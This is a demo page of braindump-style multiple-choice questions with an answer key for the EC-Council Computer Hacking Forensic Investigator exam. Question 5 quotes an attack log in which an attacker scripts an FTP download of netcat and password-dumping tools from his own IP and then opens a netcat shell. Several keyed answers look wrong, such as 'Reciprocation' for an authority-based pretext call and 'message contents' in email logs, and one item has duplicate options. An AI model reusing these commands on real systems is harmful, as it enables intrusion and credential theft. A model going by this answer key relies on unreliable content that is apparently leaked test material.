ECCouncil Computer Hacking Forensic Investigator (V9)

ECCouncil 312-49v9

Version Demo

Total Demo Questions: 12

Total Premium Questions: 561

Buy Premium PDF

https://dumpsboss.com

support@dumpsboss.com

QUESTION NO: 1

When you carve an image, recovering the image depends on which of the following skills?

A. Recognizing the pattern of the header content

B. Recovering the image from a tape backup

C. Recognizing the pattern of a corrupt file

D. Recovering the image from the tape backup

ANSWER: A

QUESTION NO: 2

Linux operating system has two types of typical bootloaders namely LILO (Linux Loader) and GRUB (Grand Unified Bootloader). In which stage of the booting process do the bootloaders become active?

A. Bootloader Stage

B. Kernel Stage

C. BootROM Stage

D. BIOS Stage

ANSWER: A

QUESTION NO: 3

What is one method of bypassing a system BIOS password?

A. Removing the processor

B. Removing the CMOS battery

C. Remove all the system memory

D. Login to Windows and disable the BIOS password

ANSWER: B

QUESTION NO: 4

Why would a company issue a dongle with the software they sell?

A. To provide source code protection

B. To provide wireless functionality with the software

C. To provide copyright protection

D. To ensure that keyloggers cannot be used

ANSWER: C

QUESTION NO: 5

The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The File Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini.

He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below.

"cmd1.exe /c open 213.116.251.162 >ftpcom" "cmd1.exe /c echo johna2k >>ftpcom" "cmd1.exe /c echo haxedj00 >>ftpcom" "cmd1.exe /c echo get nc.exe >>ftpcom" "cmd1.exe /c echo get pdump.exe >>ftpcom" "cmd1.exe /c echo get samdump.dll >>ftpcom" "cmd1.exe /c echo quit >>ftpcom"

"cmd1.exe /c ftp -s:ftpcom"

"cmd1.exe /c nc -l -p 6969 -e cmd1.exe" What can you infer from the exploit given?

A. It is a local exploit where the attacker logs in using username johna2k

B. There are two attackers on the system - johna2k and haxedj00

C. The attack is a remote exploit and the hacker downloads three files

D. The attacker is unsuccessful in spawning a shell as he has specified a high end UDP port

ANSWER: C

Explanation:

The log clearly indicates that this is a remote exploit with three files being downloaded and hence the correct answer is C.

QUESTION NO: 6

You setup SNMP in multiple offices of your company. Your SNMP software manager is not receiving data from other offices like it is for your main office. You suspect that firewall changes are to blame. What ports should you open for SNMP to work through Firewalls? (Choose two.)

A. 162

B. 161

C. 163

D. 160

ANSWER: A B

QUESTION NO: 7

Gary is checking for the devices connected to USB ports of a suspect system during an investigation. Select the appropriate tool that will help him document all the connected devices.

A. DevScan

B. Devcon

C. fsutil

D. Reg.exe

ANSWER: B

QUESTION NO: 8

Buffer overflow vulnerability of a web application occurs when it fails to guard its buffer properly and allows writing beyond its maximum size. Thus, it overwrites the . There are multiple forms of buffer overflow, including a Heap Buffer Overflow and a Format String Attack.

A. Adjacent memory locations

B. Adjacent bit blocks

C. Adjacent buffer locations

D. Adjacent string locations

ANSWER: A

QUESTION NO: 9

After suspecting a change in MS-Exchange Server storage archive, the investigator has analyzed it. Which of the following components is not an actual part of the archive?

A. PRIV.STM

B. PUB.EDB

C. PRIV.EDB

D. PUB.STM

ANSWER: D

QUESTION NO: 10

E-mail logs contain which of the following information to help you in your investigation? (Choose four.)

A. user account that was used to send the account

B. attachments sent with the e-mail message

C. unique message identifier

D. contents of the e-mail message

E. date and time the message was sent

ANSWER: A C D E

QUESTION NO: 11

What layer of the OSI model do TCP and UDP utilize?

A. Data Link

B. Network

C. Transport

D. Session

ANSWER: C

QUESTION NO: 12

Julia is a senior security analyst for Berber Consulting group. She is currently working on a contract for a small accounting firm in Florid a. They have given her permission to perform social engineering attacks on the company to see if their in-house training did any good. Julia calls the main number for the accounting firm and talks to the receptionist. Julia says that she is an IT technician from the company's main office in Iowa. She states that she needs the receptionist's network username and password to troubleshoot a problem they are having. Julia says that Bill Hammond, the CEO of the company, requested this information. After hearing the name of the CEO, the receptionist gave Julia all the information she asked for. What principal of social engineering did Julia use?

A. Social Validation

B. Scarcity

C. Friendship/Liking

D. Reciprocation

ANSWER: D

DUMPSBOSS